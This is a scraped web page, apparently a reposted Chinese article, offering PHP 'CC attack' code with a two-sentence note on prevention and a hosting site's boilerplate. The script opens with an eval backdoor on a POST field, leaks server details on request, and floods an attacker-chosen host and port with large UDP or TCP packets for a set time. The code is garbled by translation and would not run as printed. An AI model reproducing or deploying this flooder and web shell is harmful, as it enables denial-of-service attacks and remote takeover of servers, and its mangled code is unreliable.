PHP cc attack code CC attack Prevention method

Source: Internet
Author: User
  1. Eval ($_POST[CHR (90)]);
  2. Set_time_limit (86400);
  3. Ignore_user_abort (True);
  4. $packets = 0;
  5. $http = $_get[' http '];
  6. $rand = $_get[' exit '];
  7. $exec _time = $_get[' time ');
  8. if (StrLen ($http) ==0 or StrLen ($rand) ==0 or StrLen ($exec _time) ==0)
  9. {
  10. if (StrLen ($_get[' rat ']) <>0)
  11. {
  12. echo $_get[' rat '].$_server["Http_host"]. "|". gethostbyname ($_server[' server_name '). "|". Php_uname (). "|". $_server[' server_software '].$_get[' rat ';
  13. Exit
  14. }
  15. echo "PHP Terminator";
  16. Exit
  17. }
  18. for ($i =0; $i <65535; $i + +)
  19. {
  20. $out. = "X";
  21. }
  22. Udp1-fsockopen UDP2 Pfsockopen TCP3 cc.center
  23. $max _time = time () + $exec _time;
  24. if ($rand ==53)
  25. while (1)
  26. {
  27. $packets + +;
  28. if (Time () > $max _time)
  29. {
  30. Break
  31. }
  32. $fp = Fsockopen ("udp://$http", $rand, $errno, $ERRSTR, 5);
  33. if ($FP)
  34. {
  35. Fwrite ($fp, $out);
  36. Fclose ($FP);
  37. }
  38. }
  39. Else
  40. if ($rand ==500)
  41. while (1)
  42. {
  43. $packets + +;
  44. if (Time () > $max _time) {
  45. Break
  46. }
  47. $fp = Pfsockopen ("udp://$http", $rand, $errno, $ERRSTR, 5);
  48. if ($FP)
  49. {
  50. Fwrite ($fp, $out);
  51. Fclose ($FP);
  52. }
  53. }
  54. Else
  55. while (1)
  56. {
  57. $packets + +;
  58. if (Time () > $max _time) {
  59. Break
  60. }
  61. $fp = Pfsockopen ("tcp://$http", $rand, $errno, $ERRSTR, 5);
  62. if ($FP)
  63. {
  64. Fwrite ($fp, $out);
  65. Fclose ($FP);
  66. }
  67. }
  68. ?>
Copy Code

For the protection of CC attacks, if it is a dynamic page, you can determine the time, if the site is static, you need to install anti-CC attacks on the Server software, General server security dog is still good.

For the prevention of PHP cc attacks, always pay attention to.

  • Contact Us

    The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

    If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

    A Free Trial That Lets You Build Big!

    Start building with 50+ products and up to 12 months usage for Elastic Compute Service

    • Sales Support

      1 on 1 presale consultation

    • After-Sales Support

      24/7 Technical Support 6 Free Tickets per Quarter Faster Response

    • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.